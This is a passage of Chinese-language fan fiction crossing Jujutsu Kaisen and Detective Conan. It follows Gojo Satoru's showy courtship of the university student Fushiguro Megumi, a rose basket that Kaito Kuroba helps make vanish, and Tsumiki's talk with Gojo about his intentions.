钉崎野蔷薇深吸了一口气,朝着伏黑惠伸出了大拇指:“不愧是你,伏黑。”她用胳膊肘捅了一下虎杖悠仁,示意对方跟上。 虎杖悠仁眨了眨眼睛,真情实感地感慨道:“伏黑和五条老师很般配啊!” 伏黑惠:??? 他目瞪口呆地看着虎杖悠仁。 五条悟大力拍着虎杖悠仁的肩膀,兴奋地说:“有眼光啊,悠仁,真是我的好学生!” 钉崎野蔷薇面色狰狞地把虎杖悠仁拽了回来:“我没让你给他送助攻啊!!!” “啊?”虎杖悠仁面露迷惑,“我没送东西啊!” 钉崎野蔷薇送了他两个白眼球。 虎杖悠仁被堵得莫名其妙。 伏黑惠看着五条悟布灵布灵的眼睛,觉得自己今天就不该来高专。 他从沙发上起身:“我就先……”告辞了。 伏黑惠还没说完,五条悟就跟着起身,对家入硝子说:“那我走了,硝子,拜拜!” 他一托伏黑惠的胳膊:“惠,我们回去吧。” 伏黑惠顿时陷入了进退两难的境地。他欲言又止地看着五条悟,翠绿的眼睛带着一抹为难,看得五条悟心都软了。 家入硝子看着这如同逼良为娼的一幕,不堪入目地摇了摇头。 来看热闹的同学们互换了十七八个眼神,讨论是要解救伏黑惠还是接着看咒术界最强演绎的爱情喜剧。 禅院真希对伏黑惠饱含恻隐之心,主要是禅院真依知道她只顾着看热闹肯定会认为她是向着五条悟。 Panda怜悯地看着伏黑惠,投了解救伏黑惠一票,就当是还当初禅院直毘人给了情报的人情吧。 钉崎野蔷薇毫不犹豫地选择了继续看热闹,这可是五条悟的热闹,过了这个村就没这个店了! 虎杖悠仁对五条悟和伏黑惠两个人之间的感情不求甚解,权衡过后认为自己不该插手,感情毕竟是两个人之间的事。 票数就这么来到了二比二平。 众人看向家入硝子。 家入硝子正在摇头。 众人郑重点了:懂了,让他们别管。 伏黑惠就这么失去了帮助,被五条悟软磨硬泡地带走了。 众人津津有味地看着五条悟那——么——一大只跟伏黑惠撒娇:“惠马上就要开学了,到时候就要搬到宿舍住了,就这几天都不愿意继续跟我住吗?” 伏黑惠坚持了五秒钟之后妥协了。 众人一言难尽地看着伏黑惠被五条悟带走了。 钉崎野蔷薇犀利地说:“羊入虎口。” 虎杖悠仁困惑地看着她:“伏黑不是没有反对吗?” Panda好心解释道:“你看悟像是允许他反对的样子吗?” 虎杖悠仁说:“五条老师看上去很好说话啊!” “你也说了是看上去。”禅院真希吐出一口气,拿出手机,面色严肃地发消息。她觉得真的应该给伏黑惠准备嫁妆的。 “欸?”虎杖悠仁不明所以地看着大家。 Panda盘算着得提前告诉夜蛾正道一声,免得夜蛾正道突然知道受不了。 家入硝子无奈地摇了摇头,叼着烟,朝着他们一挥手:“行了,热闹也看完了,你们也该走了。” 四个快毕业的学生叽叽喳喳地离开医务室,还赌了一把伏黑惠什么时候才会正式接受五条悟,赌注的时间长短从一周到三个月不等。 在禅院家见识过两人私下里的相处方式的禅院真希赌了一周,知道伏黑惠马上就要开学,知道刚开学会有多忙的虎杖悠仁赌了三个月。 家入硝子做了个庄,把赌约记录下来的同时还不忘了给五条悟发了个条消息。 【我看错你了,悟,虽然你是个毫无恋爱经验的人渣,但对惠还挺有一手的。——家入】 五条悟把伏黑惠塞到车子后座,自己也跟着坐了进去,让前面的伊地知洁高开车。 伏黑惠坐立不安地看着五条悟,像一只警惕的小兔子一样试图在不失礼的情况下贴着车门坐,拉开跟五条悟的距离。 五条悟没有得寸进尺,拿出了当初刚接近伏黑姐弟时的耐心。正好有消息进来,五条悟拿出手机假装被转移了注意力,能清晰地感觉到伏黑惠松了口气。 惠真可爱! 五条悟看着家入硝子的消息,唇边带上了笑意。当然了,虽然他没有恋爱经验,但怎么讨好小惠可是得心应手。 第75章 伏黑惠看着正在专心玩手机的五条悟, 无声地松了口气。 他微微放松身体靠在椅背上,目光投向窗外,看着不算陌生的街景, 手指轻轻按揉着手心。五条悟下巴尖尖的触感似乎还停留在手心里, 让他的掌心微微发烫。 虽然悟先生刮胡子很勤快,但这么近的距离还是能感受到有一点点胡渣冒出来,掌心痒痒的。伏黑惠不着边际地想。 五条悟安静地注视着他, 通过手机屏幕的反射, 顺便在网上搜索了一下追人攻略。 他不是对自己没信心,只是想参考一下别人的做法。伊地知的就算了, 只是送玫瑰太俗套了!等惠搬到学校宿舍, 他就订个九百九十九朵红玫瑰送过去, 让其他人都知道惠已经有男朋友了! 在前面开车的伊地知洁高感受到了不同以往的氛围, 紧张地通过后视镜看着两个人。 五条悟在脑子里不知道转了多少个念头, 终于无聊地开始找伊地知洁高的麻烦:“伊地知,你在看什么?” 伊地知洁高一个激灵:“噫!我没有!” 五条悟眯起了眼睛。 伏黑惠把投向窗外的目光收了回来, 看向五条悟。 五条悟幽怨地叹了口气:“惠终于愿意看我了?” 伏黑惠睁大了双眼,不知道为什么话题又回到了自己身上, 不好意思地说:“我不是, 我没有……” “我知道昨天有点突然。”五条悟违心地说, “都怪伊地知开车开得太快了, 我对惠告白的时候都没有玫瑰。” 伊地知洁高面露惊骇:“对不起!”原来是告白了吗?怪不得今天两个人的气氛这么奇怪!这种氛围,果然是告白失败了吧! 想想告白失败心情不好的五条悟会有多难搞, 伊地知洁高就感到头顶发凉。 “请不要欺负伊地知先生。”伏黑惠听到‘告白’就目光游移,但还是很有理智地说,“昨天的……的……跟有没有玫瑰没关系。”他停顿了一下,似乎在忍耐, 最后还是没忍住说,“幸好您没买。” “为什么是幸好?”五条悟不满地问,“惠真的不喜欢玫瑰吗?” 惠居然真的不喜欢玫瑰……伊地知怎么可能比他更了解惠的喜好?! “可能……跟玫瑰没关系。”伏黑惠欲言又止,但想起长痛不如短痛,还是很认真地说出了自己的理由,“因为是您送的吧。” 五条悟萎靡了。 伏黑惠有点不忍心看他难过的样子,于是转过了头接着看窗外。 五条悟:?? 他抓住了伏黑惠的手腕晃了晃,像是晃爪子的大猫:“我送给惠的礼物多了,为什么玫瑰就不行?!” 伏黑惠无奈地转回头:“您不要明知故问。” “哼!”五条悟任性起来总是显得很不成熟,也不吝于在伏黑惠面前展现自己不成熟的一面,“我偏要送!” 伏黑惠总是拿他没办法,只能说:“我不会因为玫瑰接受您的。” “我知道惠暂时不会接受我,但惠不要拒绝我的玫瑰。”五条悟睁着那双剔透的蓝眸看着他,像是天空映在他眼里,“不然我会很伤心。” 五条悟总是知道怎么拿捏他,他们认识十二年了,在伏黑惠人生中占据了三分之二,很清楚心软的小孩舍不得让在意的人伤心。 “……我知道了。”伏黑惠只能妥协,他总是会妥协。 但等到他在学校门口,当着无数同学的面收到那束……那已经不能叫‘束’的巨大红玫瑰花篮之后,伏黑惠还是后悔了。 他颤抖着拿出手机,对着花篮拍了张照片给五条悟表示收到了,然后毫不犹豫地把五条悟的通讯方式拉进了黑名单里。 伏黑惠在人来人往的校门口蹲下身子,把脸埋进手心里,想要就此沉进影子里不问世事。 一个脚步声逐渐接近,耳熟的男生嗓音响起,带着点犹豫:“嗯……伏黑君,你还好吗?” 伏黑惠心不甘情不愿地抬起头,这个时候遇到熟人简直是最痛苦的事:“……工藤君。” 两个男大学生在校门口大眼瞪小眼,旁边还放着一个红玫瑰花篮。 工藤新一眼神有点飘忽,往玫瑰上瞥了一眼又一眼:“伏黑君,这是……你的追求者?” 伏黑惠闷声闷气地说:“工藤学长已经知道了吧……” “真的是五条先生吗?”工藤新一有点胃痛的样子,满脸都写着欲言又止。 伏黑惠捂着脸,点了点头。 工藤新一张张嘴:“五条先生还真是……高调啊!”他搜肠刮肚地试图换一个词,结果还是没找到。 伏黑惠深吸了一口气:“嗯,悟先生是有些……嗯,他是喜欢这样子。” 工藤新一好心地问:“需要帮你把这个……”他指了指旁边的花篮,“送回宿舍吗?” 伏黑惠表情空白。他住的是单人宿舍,但这一路上的人…… 工藤新一同情地看着他,完全理解他的心理想法,毕竟他也是有点偶像包袱的。 伏黑惠盯着红玫瑰喃喃自语:“其实可以藏进影子里,看起来不是很重,我自己应该可以。” 他的影子带东西很方便,除了重量需要他自己承担之外没有任何缺点。 但是,工藤新一提醒道:“你不是不想暴露咒术师身份吗?这么大一个花篮、这么多人都看见了,突然沉进影子里……” 虽然咒术师的存在已经曝光了,但因为人数太少,还是如同美国超级英雄一样的存在,即,听说过没见过,一出现必然引起轰动。 这也是为什么警方每次检查到疑似咒灵都要清场,清场了还会有热爱作死的人非要围观一下不可。 “啊……”伏黑惠纠结地盯着红玫瑰。他只想安安稳稳地过完大学生活,不想成为围观对象。 工藤新一清了清嗓子,提供了另一个选项:“要是找人来扔掉的话……” “不行!”伏黑惠苦恼地说,“要是扔掉的话,悟先生肯定又要闹了!” 工藤新一:……虽然不太明白你们的情趣,但你都这么说了,那必然是不能让最强咒术师闹起来的。 工藤新一拿出手机:“那我找个人过来帮忙吧,他肯定有办法。” 伏黑惠期待地看着他。 工藤新一打电话的时间很短,也就两三句话的时间就放下了,对伏黑惠说:“稍微等一会儿吧,他马上就到。” 伏黑惠问:“是工藤君的朋友吗?” 工藤新一听到‘朋友’这个词顿时面露嫌弃之色:“算是吧。” 工藤新一说话很严谨,说稍等一会儿就是稍等一会儿。伏黑惠感觉只有几分钟,他们等的人就到了。至于他怎么知道等的是谁,大概是因为工藤新一看到那个身影就露出了刚才说话时的神情吧。 另一个人也是男生,看着身型和工藤新一相似,目标明确地朝着他们走过来。等人走近,伏黑惠发现不止是身型,男生的面貌也和工藤新一几分相似。 “你好,黑羽快斗。”来人朝着伏黑惠伸出手,面带笑容,很有亲和力。 伏黑惠跟他握了握手:“你好,我是伏黑惠。” “伏黑君。”黑羽快斗转向工藤新一,说话的语气一下不客气起来,“叫我来干什么?” 工藤新一指了指玫瑰,理直气壮地说:“把这个想办法变没。” 黑羽快斗打量了一下庞大的玫瑰花束,无语地说:“我是魔术师又不是魔法师。” 你骗谁呢?黑羽快斗也许是普通人,但怪盗基德绝对是咒术师。 工藤新一朝他翻了个白眼,还是遮掩着说:“伏黑君有办法把它变没,但是需要一个理由。” 黑羽快斗恍然大悟。他打了个响指,轻松愉快地说:“那就没问题了。” 两个人一起看向伏黑惠。 黑羽快斗问:“伏黑君,你变没它有什么需要掩盖的特效吗?” “没有。”伏黑惠一头雾水地说,“我可以把花篮沉进影子里,但是让别人看到会很麻烦。” 黑羽快斗问:“下沉速度能控制吗?” 伏黑惠想了想:“应该可以。” “越快越好。”黑羽快斗唰的一下从袖口里抻出一块白布,盖到了玫瑰花篮上,“我数三二一,然后打个响指,你就把它变没,可以吗?” 伏黑惠盯着他的袖口看了两眼,愣是没看出来那么大一块白布是藏在哪儿的。他突然有了点信心:“没问题。” “好。”黑羽快斗说,“三、二、一!”他打了个响指。 花篮接触的地面成了一个黑洞,把玫瑰吞噬进去,白布轻飘飘地落到地面上。 黑羽快斗弯腰把白布捡起来,叠叠叠,不知道怎么就叠成了一个小方块,在手里握了一下就不见了。 此时,路过的同学们目瞪口呆地看着这一幕。黑羽快斗夸张地朝着众人鞠躬,如同谢幕。 认识黑羽快斗的同学热情地大声问:“黑羽!新魔术吗?!” 黑羽快斗朝他挥了下手,笑容灿烂:“是啊,玫瑰也是我们魔术社定的道具。” 路人同学们恍然大悟,纷纷发出了“原来如此”、“怪不得”的声音。 伏黑惠松了口气,感激地看向黑羽快斗:“谢谢。” 黑羽快斗爽朗大气地说:“不用客气,狂热追求者嘛,谁没遇到过一个两个呢!” 伏黑惠:…… 他欲言又止地看着黑羽快斗。 工藤新一偏过头,忍笑忍得嘴角抽搐。 黑羽快斗看着两个人的反应,戳了一下工藤新一,甩给他一个疑问的眼神。 工藤新一眨了眨眼睛:“其实也不算错吧……”他看向伏黑惠。 伏黑惠心累地叹了口气。 “那个玫瑰……”黑羽快斗眼睛转了转,突然对伏黑惠说,“要是你不好处理的话,给我们魔术社做道具也不是不行。” 伏黑惠不好意思地说:“抱歉,恐怕不行。” 工藤新一补充道:“送玫瑰的人知道会生气的。” 第76章 五条悟盯着自己手机上的红色惊叹号:“伊地知, 你说惠为什么不理我了?” 伊地知洁高认为他明知故问,伏黑君本来就脸皮薄,那么一大个花篮送到校门口……他搜肠刮肚地找着合适的措辞:“可能是因为伏黑君害羞了吧。” 五条悟深以为然地点头:“也是, 惠害羞起来超可爱的!” 我并不想知道这件事, 五条先生。伊地知洁高生无可恋地想。 “怎么才能让惠把我从黑名单里放出来呢?”五条悟又开始苦恼上了,“虽然惠这样闹别扭很可爱,但我想跟惠说话。” 伊地知洁高有气无力地说:“也许, 您可以试试用其他联系方式?” “惠不太常用社交媒体欸!”五条悟这么说着, 却满脸都是跃跃欲试。他把伏黑惠发给他的那张照片Po了上去,艾特了伏黑惠, 还配字:惠喜欢吗? 在伏黑惠之前, 其他人先发现了这条消息。 【禅院真希:悟, 你来真的?!】 【Panda:悟, 你真觉得惠会喜欢这个?】 【禅院真依:惠才不会喜欢这么高调!】 【钉崎野蔷薇:下手还挺快的啊!这么多玫瑰得多少钱?】 【虎杖悠仁:五条老师加油!】 【乙骨忧太:欸?啊?!五条老师要给惠君送玫瑰?!】 难得上来一次的乙骨忧太被禅院真希他们拽进小群里补课了。 五条悟开心地回复乙骨忧太:是啊, 我在追求惠! 板上钉钉。 不知道多少自认为和五条悟不熟的窥屏咒术师看到了他的回复,纷纷倒抽一口冷气。 禅院家真的要和五条家联姻了!!! 伏黑惠听着自己的手机发出“叮叮当当”的声音, 头疼得要命。一想就知道原因是什么,消息传得这么快吗? 工藤新一也拿出手机, 同情地看了伏黑惠一眼:“伏黑君, 你还是看一下消息吧。” 黑羽快斗好奇地探头看了一眼工藤新一的手机屏幕:“哇!”他也用同情的眼神看向伏黑惠。 伏黑惠额头上青筋直蹦, 掏出手机看五条悟都被他拉黑了还能闹什么幺蛾子。 然后他就看到了无数条艾特他的消息。 伏黑惠:…… 他颤颤巍巍地打开了社交软件, 看着五条悟发的消息眼前一黑。 黑羽快斗好心地问:“伏黑君,你还好吗?” “大概不太好。”工藤新一小声说。他知道伏黑惠脸皮比较薄, 那位最强咒术师的追求方式也太高调了! 黑羽快斗倒是挺理解的:“怪不得工藤你说这个玫瑰不能用。” “唉!”伏黑惠长长地叹了口气,无奈地把五条悟的联系方式从黑名单放出来。 刚一放出来,伏黑惠还没打过去,五条悟的电话就已经打过来了。 “惠!”五条悟在电话另一边欢呼雀跃地说, “惠喜欢我的玫瑰吗?肯定喜欢对不对?其实我觉得红玫瑰不太适合惠,但是追求人就应该送红玫瑰啊!送别的颜色总觉得怪怪的!蓝色的玫瑰都是深蓝,没有浅蓝的,要是有绿色的玫瑰就好了……” 伏黑惠听着五条悟在电话另一边絮絮叨叨,听起来真的很开心,原本憋在心里的气也不知不觉地消散了。 算了,悟先生难得这么开心,伏黑惠想起那天晚上看到的好像哭了的五条悟,心软得一塌糊涂,下不为例吧。 “玫瑰收到了,希望您以后不要再往学校送了。”伏黑惠不用想就知道五条悟肯定要反对,立刻说,“您要是再往学校送玫瑰,我就站在校门口人手一支发掉。” “惠怎么这样?!”五条立刻不干了,“这是我给惠的玫瑰,惠要把我的爱情送给别人吗?” “嗯。”伏黑惠应了一声,没有丝毫动摇。 五条悟哑然,无奈地说:“惠可真是……”他不情不愿地答应道,“好吧,我下次不送这么多了。惠这次打算怎么处理我的玫瑰,该不会要直接扔掉吧?” 伏黑惠故意说:“学校魔术社的学长说,可以给他们做魔术道具用。” “惠!!!”五条悟不开心了,要胡搅蛮缠了,“我不许!惠要是敢的话,我立刻就抱着红玫瑰去学校找你!” 伏黑惠听着五条悟撒娇般地威胁,问:“那我不给别人,您就不会来吗?” 五条悟衡量了一下让伏黑惠留下他的玫瑰和他今天亲自去看伏黑惠的重要性,又核对了一下今天的行程:“那惠好好对待我的玫瑰,我就不去了。” 黑羽快斗和工藤新一在伏黑惠接电话的时候就放缓了脚步,体贴地给了对方隐私空间。 黑羽快斗看着伏黑惠的神色,问工藤新一:“你确定是五条悟单相思?” 工藤新一意外地问:“不是吗?” “我觉得他有戏。”黑羽快斗看向工藤新一,兴致勃勃地问,“要不要赌?” “不要!”工藤新一拿出手机给降谷零发消息,他们之前大部分预案都是按照两个人成不了准备的,结果黑羽快斗这个眼尖的人居然认为他们能成,他得跟降谷零说一声,让对方有个准备。 黑羽快斗看着八卦都不忘工作的工藤新一,感慨地说:“你还真是敬业啊!” 工藤新一怼了回去:“你不也是一样?”出现了咒灵这么大的事都没耽误这位怪盗继续搞事。 “我这么乖巧的良好市民……”黑羽快斗说着说着自己都笑了。他和工藤新一从进了学校就心照不宣,故意说这种撇清关系的话都像是在打趣。 伏黑惠哄好了五条悟,挂断了电话,有点心累地叹了口气。 黑羽快斗看着他唇边还没消失的笑意,说:“如果想要长时间保留玫瑰的话,做成干花或者精油都是不错的选择哦。” “谢谢黑羽学长。”伏黑惠感激地看了他一眼,他还在想这么多玫瑰花,五条悟又不让他扔该怎么办,总不能在影子放到烂掉吧。 “不用谢。”黑羽快斗开朗地说,“今天就算是认识了,以后有事再找我,要加个联系方式吗?” 伏黑惠和黑羽快斗交换了联系方式,再一次对两个人道谢,自己回了宿舍,然后开始搜索做玫瑰精油的办法。他不太喜欢干花,干枯的花瓣总会给他不好的联想。 把网上提供的精油制作方法记录下来,伏黑惠想着这几天得申请借用一下化学实验室了。 这时,另一个人的电话打了进来,是津美纪。 伏黑惠毫无防备地接通了电话:“津美纪。” 伏黑津美纪小心翼翼地试探着说:“惠,我看到悟先生发的消息了。” 伏黑惠好声好气地说:“悟先生只是一时兴起,你不用担心。” 伏黑津美纪愕然地问:“悟先生真的在追求你?!” 伏黑惠已经习惯了这种问法,淡定地应道:“嗯,算是吧。” 伏黑津美纪目瞪口呆,一把火在她心里烧了起来,让她的声音都带上了颤抖:“五条先生干了什么?!” 伏黑惠听出伏黑津美纪情绪不对,微微皱起了眉头:“就是送了玫瑰,没有其他的。” 伏黑津美纪半信半疑地问:“真的吗?” 伏黑惠说:“真的。” 伏黑津美纪在电话另一边沉默了片刻,低声问:“惠把玫瑰收下了吗?” 伏黑惠无奈地说:“收下了。” 伏黑津美纪又沉默了。这次她沉默了很久,让伏黑惠不由得把手机从耳边拿过来看了看,确定电话还通着:“津美纪?” 伏黑津美纪干巴巴地说:“没什么,我只是……只是有点……惠不用担心我,我只是一时没想到……” 伏黑惠感同身受地说:“我之前也没想到过。” 伏黑津美纪不由自主地追问:“那惠现在是怎么想的呢?” “……我也不知道,我不想让悟先生伤心。”伏黑惠迟疑地说。 他之前没有谈过恋爱,也没有喜欢过任何人,被告白只要拒绝就好,拒绝方法还是五条悟教给他的,现在面对五条悟的追求他真的不知道怎么办。 “那你自己呢?!”伏黑津美纪急切地问,“那惠你自己伤心怎么办?” 伏黑惠莫名其妙地说:“我没有伤心啊!” 伏黑津美纪叹了口气:“我知道了。” 伏黑惠看着被挂断的电话,满脸茫然:津美纪知道什么了? 另一边,伏黑津美纪挂掉了电话,盯着手机看了一会儿。 半晌后,她找出了五条悟的联系方式,发了一条信息过去。 【五条先生,您最近有空跟我见一面吗?】 伏黑津美纪看着屏幕上出现的文字,想了想,又修改了内容。 【五条先生,我想跟您见一面,越快越好。】 伏黑津美纪看着修改后的内容,心一横把消息发了出去。 五条悟的手机发出两声轻响。他掏出手机,看着伏黑津美纪的信息,目光沉了下去。 第77章 五条悟和伏黑津美纪见面的日子很快就到了。五条悟自己本来就是全国跑, 找个需要名古屋附近的任务并不难。 他点了一杯冰可可,又给伏黑津美纪点了一杯草莓牛奶,坐在咖啡厅里等着对方到来。 五条悟给面前的冰可可照了张照片发给伏黑惠。 【这家店的冰可可不好喝。】还附赠一个难过的小表情。 伏黑惠的回信很快就到了。 【不好喝下次就不要点了, 可以找服务员买一杯牛奶兑进去试试, 再多放几个糖包。】 五条悟眉眼弯弯地看着伏黑惠的回信,真的按照他说的找服务员又要了一杯牛奶和几个糖包。 牛奶和糖包兑进冰可可里再搅拌均匀。五条悟抿了一口,满意地发现的确变得好喝了很多。 他又照了一张照片发给伏黑惠, 【真的好喝了很多!】附赠开心地撒花表情。 伏黑惠看到五条悟的回复松了口气, 跟面前的黑羽快斗道谢。 “不用谢。”黑羽快斗笑吟吟地说,“其实大部分饮料都可以这么拯救, 果汁的话就要麻烦一些。” 工藤新一面前摆着一杯冰美式, 慢悠悠地说:“反正跟甜食有关的事, 你就问他好了, 这个人是个甜食控, 我都不知道他是怎么吃下那么多甜食的。” “我也不知道你是怎么喝得下这么苦的咖啡的。”黑羽快斗反唇相讥,“你看人家伏黑君都喝的是奶咖。” “美式怎么了?”工藤新一说, “我就是不爱加奶不行吗?!” 黑羽快斗反问:“我就是爱吃甜的不行吗?” 两个人火花四溅地对视了一会儿,看向伏黑惠:“伏黑君, 你怎么看?” 伏黑惠张了张嘴, 觉得这两个人的味觉都有点极端, 但他自己作为咖啡党, 又从小看着五条悟这个超级甜党长大,非常理解每个人的口味不同之处。 “我觉得都挺好的。”他平静地说, “也没必要连口味都保持一致吧,每个人的口味都是不同的,只要选择自己喜欢的就好了。” 工藤新一和黑羽快斗对视一眼,针锋相对地说。 “如果不是某人每次都要嘲讽我爱吃甜食, 我也没意见啊!” “如果不是某人每次都要向我炫耀甜食多好吃,我也没意见!” 工藤新一指桑骂槐地说:“伏黑君,你要小心,某些爱吃甜食的人是永远不会满足于自己吃的,一定要塞给你一口。” 黑羽快斗端起巧克力牛奶喝了一口,优雅地说:“伏黑君,除了甜食之外,你的感情问题也可以来咨询我哦!我比某个人有经验多了。” 工藤新一笑着嘲讽道:“被粉丝追着跑的经验吗?!” 黑羽快斗理所当然地说:“伏黑君现在需要的不就是被追着跑的经验吗?” 伏黑惠的耳朵红了。 另一边的咖啡厅里,五条悟把自己新兑出来的饮料喝了一半的时候,伏黑津美纪终于匆匆忙忙地赶到了。 “抱歉,五条先生,我来晚了!”伏黑津美纪不好意思地说,“导师突然联系我有点事。” “没关系。”五条悟对他的小孩们一向有耐心,他关心地问,“津美纪在大学里还顺利吗?” “很顺利。”伏黑津美纪坐到五条悟对面,看着五条悟提前给她点好的草莓牛奶,鼻子有点酸,“五条先生不用担心我,我已经能够照顾自己了。” 五条悟说:“津美纪也只是刚刚成年而已,就算津美纪将来毕业了也是五条先生看着长大的孩子啊!” 伏黑津美纪的目光盯着自己杯子下面垫着的草莓杯垫,两只手紧紧握在一起,用力吞咽了一口:“我和惠一直都很感谢五条先生的照顾,我们以前还想过将来要像五条先生照顾我们一样照顾五条先生的孩子。” 五条悟沉默下来,打量着伏黑津美纪。半晌后,他轻轻叹了口气,伏黑津美纪的肩膀不由自主地紧绷了片刻,又强撑着放松,不想让五条悟看出她的局促。 五条悟欣慰地说:“津美纪的确成为很勇敢的大人了。” 能在他的目光下坚持这么久,就算是那些咒术师也有很多做不到。 伏黑津美纪的眼泪突然落了下来。她连忙从手包里拿出手帕擦拭着脸颊,眼泪却止不住往下掉,哽咽地说:“五条先生是我和惠的恩人,我们一直都很感谢您的照顾,但是……但是……就算是五条先生也不可以勉强惠!五条先生养育我们的钱,我将来工作就会还的!我以后也会常常来看您……” 五条悟听着伏黑津美纪说得他像是一个空巢老人一样,有点哭笑不得地打断她:“津美纪。” 伏黑津美纪哄着眼眶,用雾蒙蒙的眼睛看着他,目光却很坚定。为了保护伏黑惠,她会不惜一切,哪怕是忘恩负义地跟养大自己的人用金钱斩断关系。 “我和津美纪是一样的。”五条悟真诚地说,“我也很爱惠。” 伏黑津美纪摇了摇头:“不是那种爱,我对惠从来不是那种爱!” 五条悟看着伏黑津美纪抗拒的神态,问:“如果我说,我也没想到我会爱上惠。津美纪相信吗?” 伏黑津美纪盯着五条悟看了一会儿,缓缓点头。 “但是,”伏黑津美纪深吸了一口气,用恳求的目光看着五条悟,“但是,五条先生现在……现在……” “嗯,现在我是在追求惠啦。”五条悟坦然承认道。 “为什么呢?”伏黑津美纪感觉嘴里满是苦涩的味道,“为什么五条先生要这么做呢?” 五条悟平静地说:“因为我喜欢上惠了啊,所以我想要惠做我的恋人,将来跟我结婚。” 伏黑津美纪下意识反驳道:“两个男人根本不能结婚。” 五条悟理所当然地说:“我想和惠结婚,我们就能结婚。现在还不允许,将来让他们允许不就行了?” 伏黑津美纪怔愣地看着五条悟。 五条悟乘胜追击地问:“津美纪相信我吗?相信我跟你一样不舍得伤害惠,让惠伤心?” “……我相信,因为五条先生是个好人。”伏黑津美纪沉默了许久,还是说出了这句话。她相信着十几年的相处时光不是假的,相信五条悟不是那种变态。 “我不会辜负津美纪的信任。”五条悟的语气沉下来,他看着伏黑津美纪,不是在向他的孩子承诺,而是在对着心爱之人的姐姐承诺,“我很爱惠,会一直爱他、照顾他,不会让任何人伤害他。” “但是会有别人伤害惠!”伏黑津美纪急切地说,“两个男人在一起一定会受到伤害的!因为……因为你们和其他人不一样!” “津美纪觉得惠是会在意外人的看法的人吗?”五条悟一针见血地问。 伏黑津美纪咬住嘴唇:“惠不在意,但那不是我可以看着他被人指指点点的理由。” 五条悟赞赏地看着为了伏黑惠据理力争的伏黑津美纪,轻飘飘地掏出了杀手锏:“可是,津美纪,我们本来就跟普通人不一样。” 他沉稳地说:“我们是咒术师。” 伏黑津美纪长长地叹了口气:“咒术师也是要生活在人群里的。” 五条悟笑了:“津美纪,咒术师就算生活在人群里也一样格格不入。” 伏黑津美纪有不同看法:“但是惠就一直和普通人一样!” 她说完之后有些担心,难道是惠一直都在隐瞒他自己的不适吗?就像隐瞒他的咒术师身份一样? “惠不一样。”五条悟眼中浮现出柔软的温情,“很多人都不理解惠为什么会去上普通人的大学。他是禅院家的家主,已经走到了咒术界的顶端,很多人都无法理解他为什么要放弃权力像一个普通人一样去念对咒术师没什么用的大学。” “但惠就是这样,他是个固执的孩子,自己做出的决定就一定要做到。就算他不做咒术师也没关系,我会保护他。”五条悟骤然加码,“那些流言蜚语不会伤害到他,能伤害惠的只有亲近的人的想法。” 伏黑津美纪握着杯子的手倏地抓紧。 五条悟问:“除了我,津美纪放心把惠交给别人吗?” 伏黑津美纪忍不住怼了他一句:“我原本一点儿都不担心,因为惠是很懂得照顾人的孩子。” 五条悟自信地说:“但跟我在一起,我会照顾惠。” 伏黑津美纪安静地注视着他,很久很久之后,她露出了一点释然的微笑:“悟先生,惠还没有接受你,现在想这么多有点太早了。” 五条悟脸上势在必得的笑容僵住了。他不可置信地看着伏黑津美纪:“津美纪怎么能这么打击我?!” 伏黑津美纪低头喝了一口草莓牛奶,把冰凉的牛奶和沉甸甸的担心一起吞进肚子里:“等惠答应悟先生再说吧,我是不会帮您的。” 五条悟心中陡然一松。他对津美纪在惠心中的分量一清二楚,如果津美纪坚持反对,那就是他追求惠的路上的一座大山。 虽然五条悟有愚公移山的信心,但能早点说服津美纪当然更好。 说完最重要的事,接下来难得见一面的两人又聊了一些日常生活的内容,在天黑之前分别。 坐车把伏黑津美纪送到宿舍门口,五条悟目送她远去,坐在车子后座上,拿出手机,习惯性地找出了伏黑惠的联系方式。 五条悟思考了一会儿要不要用今天的事找惠博取怜爱,最后还是放弃了这个想法。开玩笑无所谓,但他不想让惠在他和津美纪之间为难。 第78章 伏黑惠一连打了三个喷嚏, 有一种自己感冒了的错觉。 但咒术师的身体没那么柔弱,一般不会感冒。 黑羽快斗给他递了张纸巾,打趣道:“是不是有人想你了?” 伏黑惠条件反射地想到了五条悟, 面露纠结:“悟先生他……”他叹了口气, 似乎很是苦恼。 黑羽快斗高深莫测地看着他,给工藤新一使眼色:你看,我说吧, 他们肯定有戏。 工藤新一满脸莫名其妙:哪儿有戏了?伏黑君都想起他就皱眉了还有戏?! 黑羽快斗无语地看了他一眼, 转向伏黑惠,笑眯眯地八卦道:“伏黑君怎么会想到五条先生?也许是其他人在想你呢?” 伏黑惠理所当然地说:“只有悟先生才会吧。” 工藤新一领会了黑羽快斗的意思, 提醒道:“也许是津美纪小姐在想你也不一定。” 伏黑惠纳闷地说:“津美纪为什么要想我?” 黑羽快斗忍着笑, 低头扒拉他的芝士蛋糕。 工藤新一有点体会到黑羽快斗的信心了。 黑羽快斗吃了两口蛋糕, 说:“伏黑君和五条先生的关系一定很好吧。” 伏黑惠抿了抿嘴角, 点了下头:“悟先生是很好的人。” “我不是这个意思啦。”黑羽快斗轻描淡写地说, “如果是我不喜欢的人追求我的话,我一定离他远远的。但伏黑君还会帮五条先生解决问题, 就算只是可可不好喝这类的小问题。” 其实这种小问题才能体现出亲密度,如果是大问题的话, 反而会陷入‘不是我想帮忙, 而是我不帮忙不行’的逻辑。 “那是因为……”伏黑惠微微一愣, 想了想说, “因为悟先生太忙了,在生活琐事上再操心会很辛苦。” 黑羽快斗睁着一双蓝眼睛, 貌似天真无邪地问:“伏黑君是在心疼吗?” “什么?!”伏黑惠愕然地看着他,“我不是、我没有……” “咳!”工藤新一轻咳了一声,桌面下的腿轻轻撞了一下黑羽快斗的腿,让对方别太过分了, 伏黑惠怎么说也是个厉害的咒术师。 黑羽快斗暗暗给他递了一个‘你放心’的眼神,他心里有数。 工藤新一看着伏黑惠怀疑人生的表情,并不觉得他有数。 黑羽快斗看似生硬地转移话题道:“伏黑君最后把那些玫瑰怎么处理了?” 伏黑惠说:“我找化学系的老师借了实验室,做成了玫瑰精油。” 黑羽快斗好奇地问:“伏黑君做出了精油不用吗?” 伏黑惠低声说:“我想还给悟先生,玫瑰本来也是他买的。” 黑羽快斗的嘴角抽了抽,好心地说:“一般来说,这种行为只会让他明白你有多珍惜他的礼物。” 伏黑惠奇怪地问:“为什么?” 黑羽快斗说:“因为跟直接退还礼物代表的拒绝相比,把礼物精加工之后再送还给送礼人,只会让人觉得这是一种回礼。将来送礼物的欲望会更加旺盛吧。” “这样吗?”伏黑惠为难地皱起眉头。 黑羽快斗给他出主意:“伏黑君不喜欢用精油的话,可以送给别人。” 伏黑惠想都没想就拒绝了:“那是悟先生的玫瑰,送给别人不太好。” 